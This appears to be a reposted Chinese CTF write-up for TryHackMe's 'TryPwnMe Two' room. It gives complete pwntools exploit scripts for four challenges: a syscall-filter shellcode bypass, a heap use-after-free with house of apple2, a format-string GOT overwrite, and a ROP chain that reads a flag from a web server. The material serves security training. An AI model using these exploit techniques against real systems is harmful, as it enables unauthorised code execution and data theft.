TryHackMe: TryPwnMe Two

news2025/2/4 13:15:28

TryExecMe2

限制了直接进行系统调用，即syscall sysenter int 0x80，但是这样的限制是十分好绕过的，我们只需要通过异或生成syscall构造read再次写入shellcode即可

构造read

shellcode = asm("""
mov rdx, 0x100
mov r15, rdi
xor rdi, rdi
mov rsi, r15
mov cx, 0x454f
xor cx, 0x4040
mov [r15+0x1e], cx
""")

完整exp

from pwn import *
from pwncli import *
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def li(a):
    print(hex(a))
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
#     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
    gdb.attach(p)

context(os='linux',arch='amd64',log_level='debug')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# elf=ELF('./pwn')
# p = process('./pwn')
# gdb.attach(p,'b *$rebase(0x1485)')
p = remote("10.10.131.135",5002)
shellcode = asm("""
mov rdx, 0x100
mov r15, rdi
xor rdi, rdi
mov rsi, r15
mov cx, 0x454f
xor cx, 0x4040
mov [r15+0x1e], cx
""")
s(shellcode)
pause()
payload = b"\x90"*0x25+asm(shellcraft.sh())
s(payload)
inter()

TryaNote

存在uaf，可以泄露libc和堆地址，劫持tcache_struct来进行任意地址写，2.35的libc，移除了我们在之前版本利用的各种hook，本题给了一个win，它可以去执行我们指定位置的一次调用，但是因为种种原因，我并没有成功，最后用了house of apple2

泄露libc和堆地址

add(0x420,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x300,b"a")
delete(0)
show(0)
libc_base = get_addr() - 2202848
li(libc_base)
delete(1)
show(1)
heap_base = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = heap_base << 12
li(heap_base)

因为并没有限制我们申请的堆块大小，我们就申请一个大于0x400大小的堆块，这样可以在free后直接进入unsortedbin中，此时该堆块fd位置就会被写上libc地址，show即可得到，再free一下1号堆块，这样它会被放入tcache中，show即可获取堆地址，注意要左移12位，具体参考tcache在2.35的变化，自行搜索

劫持tcache_struct

delete(2)
_IO_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base + libc.sym['setcontext']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
fake_io = heap_base+0x7e0
fff = IO_FILE_plus_struct()
payload = fff.house_of_apple2_execmd_when_exit(fake_io, libc_base+libc.sym["_IO_wfile_jumps"], libc_base+libc.sym["system"])
edit(2,p64(((heap_base+0x7e0)>>12)^heap_base))
add(0x100,p64(0))
add(0x100,p64(0)+p64(0x290)+b"\x07\x00"*0x58+b"\x00\x00"*8+p64(_IO_list_all)+p64(heap_base+0x7e0))

接下来再次释放2号堆块，这样tcache中0x110处就会出现链表，我们修改2号的fd指向tcache_struct即可达到任意地址写的目的，关于为什么要写b"\x07\x00"*0x58+b"\x00\x00"*8+p64(_IO_list_all)+p64(heap_base+0x7e0))，请参考tcache_struct的结构体，总之，在我们下次申请0x90大小的堆块时，我们会申请到_IO_list_all

house_of_apple2

add(0x90,p64(heap_base+0x7e0))
edit(2,payload)
debug()
sla(b'>>', b'0')

我们将_IO_list_all写入我们伪造好的fake_file的堆地址，这样我们可以就可以执行system(“/bin/sh”)，利用这个方法有前提是可以正常退出或者exit退出来刷新IO流，具体参考 house of apple

完整exp

from pwn import *
from pwncli import *
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def li(a):
    print(hex(a))
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
    gdb.attach(p)

context(os='linux',arch='amd64',log_level='debug')
libc = ELF('./libc.so.6')
elf=ELF('./pwn')
p = process('./pwn')
def add(size,content):
    sla(b'>>', b'1')
    sla(b'size:\n', str(size).encode())
    sa(b'data:\n', content)
def delete(index):
    sla(b'>>', b'4')
    sla(b'index:\n', str(index).encode())
def edit(index, content):
    sla(b'>>', b'3')
    sla(b'index:\n', str(index).encode())
    sa(b'data:\n', content)
def show(index):
    sla(b'>>', b'2')
    sla(b'index:\n', str(index).encode())
def win(idx,content):
    sla(b'>>', b'5')
    sla(b'index:\n', str(idx).encode())
    sla(b'data:\n', content)

add(0x420,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x300,b"a")
delete(0)
show(0)
libc_base = get_addr() - 2202848
li(libc_base)
delete(1)
show(1)
heap_base = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = heap_base << 12
li(heap_base)

delete(2)
_IO_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base + libc.sym['setcontext']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
fake_io = heap_base+0x7e0
fff = IO_FILE_plus_struct()
payload = fff.house_of_apple2_execmd_when_exit(fake_io, libc_base+libc.sym["_IO_wfile_jumps"], libc_base+libc.sym["system"])
edit(2,p64(((heap_base+0x7e0)>>12)^heap_base))
add(0x100,p64(0))
add(0x100,p64(0)+p64(0x290)+b"\x07\x00"*0x58+b"\x00\x00"*8+p64(_IO_list_all)+p64(heap_base+0x7e0))

add(0x90,p64(heap_base+0x7e0))
edit(2,payload)
debug()
sla(b'>>', b'0')

inter()

NotSpecified2

格式化字符串漏洞，got表可以写，因此修改exit的got表为_start进行无限格式化字符串，泄露libc利用one_gadget进行getshell

劫持exit的got表

payload = fmtstr_payload(6,{0x404038:0x4010D0})
sl(payload)

泄露libc

payload = b"%73$p"
sl(payload)
rl(b"Thanks ")
libc_base = int(p.recv(14), 16) - 171408
ogg = libc_base + 0xebcf5

完整exp

from pwn import *
from pwncli import *
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def li(a):
    print(hex(a))
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
#     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
    gdb.attach(p)

context(os='linux',arch='amd64',log_level='debug')
# libc = ELF('./libc.so.6')
# elf=ELF('./pwn')
# p = process('./pwn')
# gdb.attach(p,'b *0x4012FD')
p = remote("10.10.187.89",5000)
rl(b"username:")
payload = fmtstr_payload(6,{0x404038:0x4010D0})
sl(payload)
rl(b"username:")
payload = b"%73$p"
sl(payload)
rl(b"Thanks ")
libc_base = int(p.recv(14), 16) - 171408
ogg = libc_base + 0xebcf5
payload = fmtstr_payload(6,{0x404038:ogg})
rl(b"username:")
sl(payload)
inter()

SlowServer

一个简单的web pwn，漏洞点位于DEBUG和POST，DEBUG存在格式化字符串，而POST则存在栈溢出

注意：远程与本地的栈可能会存在差异，需要自己尝试及猜测，使用ubuntu22.04时发现与远程十分相似，建议使用ubuntu22.04调试

泄露基地址和栈地址

p = remote("192.168.138.129", 5555)
debug = b"DEBUG %3$p"
p.send(debug)
base = int(p.recv(14), 16)- 8320
print(hex(base))
pause()
p = remote("192.168.138.129", 5555)
debug = b"DEBUG %28$p"
p.send(debug)
stack = int(p.recv(14), 16) + 0x100
print(hex(stack))

ORW读flag

post = (b"POST /submit HTTP/1.1"+p64(0)+p64(pop_rax)+p64(2)+p64(pop_rsi)+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(5)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["read"])+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["write"])+p64(0)*(720//8)+b"flag.txt\x00")
p = remote("192.168.138.129", 5555)
p.send(post)

调试可以发现，在我们想调用open的时候rdi本身就会指向一个栈地址，因此我们可以通过调试确认偏移，将flag.txt写到该处，之后就是read读flag，write写即可

注意：read的rdi值需要为5，open后观察rax值即可，write的rdi值需要为4，4是本机与服务器建立的socket管道，这样才会发送到本地的攻击机，如果是1，代表标准输出，攻击机无法看到

完整exp

from pwn import *
# # 定义 GET 请求
# get = b"GET /submit HTTP/1.1\r\nHost: 192.168.138.129\r\n\r\n"+b"a"*0x300

elf=ELF('./slowserver')
# 连接到远程服务器
p = remote("192.168.138.129", 5555)
debug = b"DEBUG %3$p"
p.send(debug)
base = int(p.recv(14), 16)- 8320
print(hex(base))
pause()
p = remote("192.168.138.129", 5555)
debug = b"DEBUG %28$p"
p.send(debug)
stack = int(p.recv(14), 16) + 0x100
print(hex(stack))
bss = base+elf.bss()+0x251
stack = bss #可以往栈上写，也可以往bss段上写，此处选择bss，删除亦可
pop_rdi = base+0x1816
pop_rsi = base+0x1811
free_got = base+0x3F18
pop_rdx_r12 = base + 0x180d
syscall_ret = base + 0x1813
pop_rax = base+0x180b
pop_rsp = base+0x180f
leave_ret = base+0x154c
push_rbp = base+0x1807
bss = base+elf.bss()+0x200
read_got = base+elf.got["read"]
pop_rbp = base+0x1413
write = base + elf.plt["write"]
# 定义 POST 请求
post = (b"POST /submit HTTP/1.1"+p64(0)+p64(pop_rax)+p64(2)+p64(pop_rsi)+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(5)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["read"])+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["write"])+p64(0)*(720//8)+b"flag.txt\x00")
p = remote("192.168.138.129", 5555)
p.send(post)

p.interactive()

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2291796.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

SmartPipe完成新一轮核心算法升级

SmartPipe完成新一轮核心算法升级

1. 增加对低质量轴段的修正 由于三维图纸导出造成某些轴段精度较差&#xff0c;部分管路段的轴线段不满足G1连续&#xff0c;SmartPipe采用算法对这种情况进行了修正&#xff0c;保证轴段在一定精度范围内光滑连续。 2. 优化对中文路径的处理 SmartPipeBatch批处理版本优化…
阅读更多...
松灵机器人 scout ros2 驱动 安装

松灵机器人 scout ros2 驱动 安装

必须使用 ubuntu22 必须使用 链接的humble版本 #打开can 口 sudo modprobe gs_usbsudo ip link set can0 up type can bitrate 500000sudo ip link set can0 up type can bitrate 500000sudo apt install can-utilscandump can0mkdir -p ~/ros2_ws/srccd ~/ros2_ws/src git cl…
阅读更多...
路径规划之启发式算法之二十九：鸽群算法（Pigeon-inspired Optimization, PIO）

路径规划之启发式算法之二十九：鸽群算法（Pigeon-inspired Optimization, PIO）

鸽群算法（Pigeon-inspired Optimization, PIO）是一种基于自然界中鸽子群体行为的智能优化算法，由Duan等人于2014年提出。该算法模拟了鸽子在飞行过程中利用地标、太阳和磁场等导航机制的行为，具有简单、高效和易于实现的特点，适用于解决连续优化问题。 更多的仿生群体算法…
阅读更多...
【leetcode练习·二叉树拓展】快速排序详解及应用

【leetcode练习·二叉树拓展】快速排序详解及应用

本文参考labuladong算法笔记[拓展&#xff1a;快速排序详解及应用 | labuladong 的算法笔记] 1、算法思路 首先我们看一下快速排序的代码框架&#xff1a; def sort(nums: List[int], lo: int, hi: int):if lo > hi:return# 对 nums[lo..hi] 进行切分# 使得 nums[lo..p-1]…
阅读更多...
华为IoTDA平台两个设备之间通信的过滤条件如何设置

华为IoTDA平台两个设备之间通信的过滤条件如何设置

目录 引言 过滤规则 特定topic转发 特定设备转发 特定产品转发 特定数据转发 结语 参考资料 引言 前一篇博文介绍了如何在两个设备之间进行通信转发。和利用topic进行转发相比&#xff0c;华为的这种方法比较麻烦&#xff0c;但是它功能比较强&#xff0c;包括可以利用…
阅读更多...
Docker 安装详细教程（适用于CentOS 7 系统）

Docker 安装详细教程（适用于CentOS 7 系统）

目录 步骤如下&#xff1a; 1. 卸载旧版 Docker 2. 配置 Docker 的 YUM 仓库 3. 安装 Docker 4. 启动 Docker 并验证安装 5. 配置 Docker 镜像加速 总结 前言 Docker 分为 CE 和 EE 两大版本。CE即社区版&#xff08;免费&#xff0c;支持周期7个月&#xff09;&#xf…
阅读更多...
FreeRTOS从入门到精通 第十三章（信号量）

FreeRTOS从入门到精通 第十三章（信号量）

参考教程&#xff1a;【正点原子】手把手教你学FreeRTOS实时系统_哔哩哔哩_bilibili 一、信号量知识回顾 1、概述 &#xff08;1&#xff09;信号量是一种解决同步问题的机制&#xff0c;可以实现对共享资源的有序访问&#xff0c;FreeRTOS中使用的是二值信号量、计数型信号…
阅读更多...
pstricks PGFTikz 在CTeX套装中绘图Transparency或Opacity失效的问题

pstricks PGFTikz 在CTeX套装中绘图Transparency或Opacity失效的问题

我在CTeX中画图的时候&#xff0c;习惯用Geogebra先画好&#xff0c;然后生成pstricks或PGFTikz代码&#xff1a; 这样不用插入eps或pdf之类的图片&#xff0c;也是一种偷懒的方法。以前往arXiv.org上面传论文也是这样&#xff1a;代码出图&#xff0c;就不用另外上传一幅eps或…
阅读更多...
FPGA学习篇——开篇之作

FPGA学习篇——开篇之作

今天正式开始学FPGA啦&#xff0c;接下来将会编写FPGA学习篇来记录自己学习FPGA 的过程&#xff01; 今天是大年初六&#xff0c;简单学一下FPGA的相关概念叭叭叭&#xff01; 一&#xff1a;数字系统设计流程 一个数字系统的设计分为前端设计和后端设计。在我看来&#xff0…
阅读更多...
C++底层学习预备：模板初阶

C++底层学习预备：模板初阶

文章目录 1.编程范式2.函数模板2.1 函数模板概念2.2 函数模板原理2.3 函数模板实例化2.3.1 隐式实例化2.3.2 显式实例化 2.4 模板参数的匹配原则 3.类模板希望读者们多多三连支持小编会继续更新你们的鼓励就是我前进的动力&#xff01; 进入STL库学习之前我们要先了解有关模板的…
阅读更多...
【玩转 Postman 接口测试与开发2_014】第11章：测试现成的 API 接口（下）——自动化接口测试脚本实战演练 + 测试集合共享

【玩转 Postman 接口测试与开发2_014】第11章：测试现成的 API 接口（下）——自动化接口测试脚本实战演练 + 测试集合共享

《API Testing and Development with Postman》最新第二版封面 文章目录 3 接口自动化测试实战3.1 测试环境的改造3.2 对列表查询接口的测试3.3 对查询单个实例的测试3.4 对新增接口的测试3.5 对修改接口的测试3.6 对删除接口的测试 4 测试集合的共享操作4.1 分享 Postman 集合…
阅读更多...
Linux03——常见的操作命令

Linux03——常见的操作命令

root用户以及权限 Linux系统的超级管理员用户是&#xff1a;root用户 su命令 可以切换用户&#xff0c;语法&#xff1a;su [-] [用户名]- 表示切换后加载环境变量&#xff0c;建议带上用户可以省略&#xff0c;省略默认切换到root su命令是用于账户切换的系统命令&#xff…
阅读更多...
w188校园商铺管理系统设计与实现

w188校园商铺管理系统设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…
阅读更多...
leetcode——二叉树的最近公共祖先（java）

leetcode——二叉树的最近公共祖先（java）

给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c;满足 x 是 p、q 的祖先且 x 的深度尽可能大&#xff08;一个节点也可以是它自己的…
阅读更多...
基于FPGA的BT656编解码

基于FPGA的BT656编解码

概述 BT656全称为“ITU-R BT.656-4”或简称“BT656”，是一种用于数字视频传输的接口标准。它规定了数字视频信号的编码方式、传输格式以及接口电气特性。在物理层面上，BT656接口通常包含10根线（在某些应用中可能略有不同，但标准配置为10根）。这些线分别用于传输视频数据、…
阅读更多...
解锁数据结构密码：层次树与自引用树的设计艺术与API实践

解锁数据结构密码：层次树与自引用树的设计艺术与API实践

1. 引言&#xff1a;为什么选择层次树和自引用树&#xff1f; 数据结构是编程中的基石之一&#xff0c;尤其是在处理复杂关系和层次化数据时&#xff0c;树形结构常常是最佳选择。层次树&#xff08;Hierarchical Tree&#xff09;和自引用树&#xff08;Self-referencing Tree…
阅读更多...
本地快速部署DeepSeek-R1模型——2025新年贺岁

本地快速部署DeepSeek-R1模型——2025新年贺岁

一晃年初六了&#xff0c;春节长假余额马上归零了。今天下午在我的电脑上成功部署了DeepSeek-R1模型&#xff0c;抽个时间和大家简单分享一下过程&#xff1a; 概述 DeepSeek模型 是一家由中国知名量化私募巨头幻方量化创立的人工智能公司&#xff0c;致力于开发高效、高性能…
阅读更多...
使用VCS进行单步调试的步骤

使用VCS进行单步调试的步骤

使用VCS对SystemVerilog进行单步调试的步骤如下&#xff1a; 1. 编译设计 使用-debug_all或-debug_pp选项编译设计&#xff0c;生成调试信息。 我的4个文件&#xff1a; 1.led.v module led(input clk,input rst_n,output reg led );reg [7:0] cnt;always (posedge clk) beg…
阅读更多...
【Elasticsearch】硬件资源优化

【Elasticsearch】硬件资源优化

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…
阅读更多...
QT+mysql+python 效果：

QT+mysql+python 效果：

# This Python file uses the following encoding: utf-8 import sysfrom PySide6.QtWidgets import QApplication, QWidget,QMessageBox from PySide6.QtGui import QStandardItemModel, QStandardItem # 导入需要的类# Important: # 你需要通过以下指令把 form.ui转为ui…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023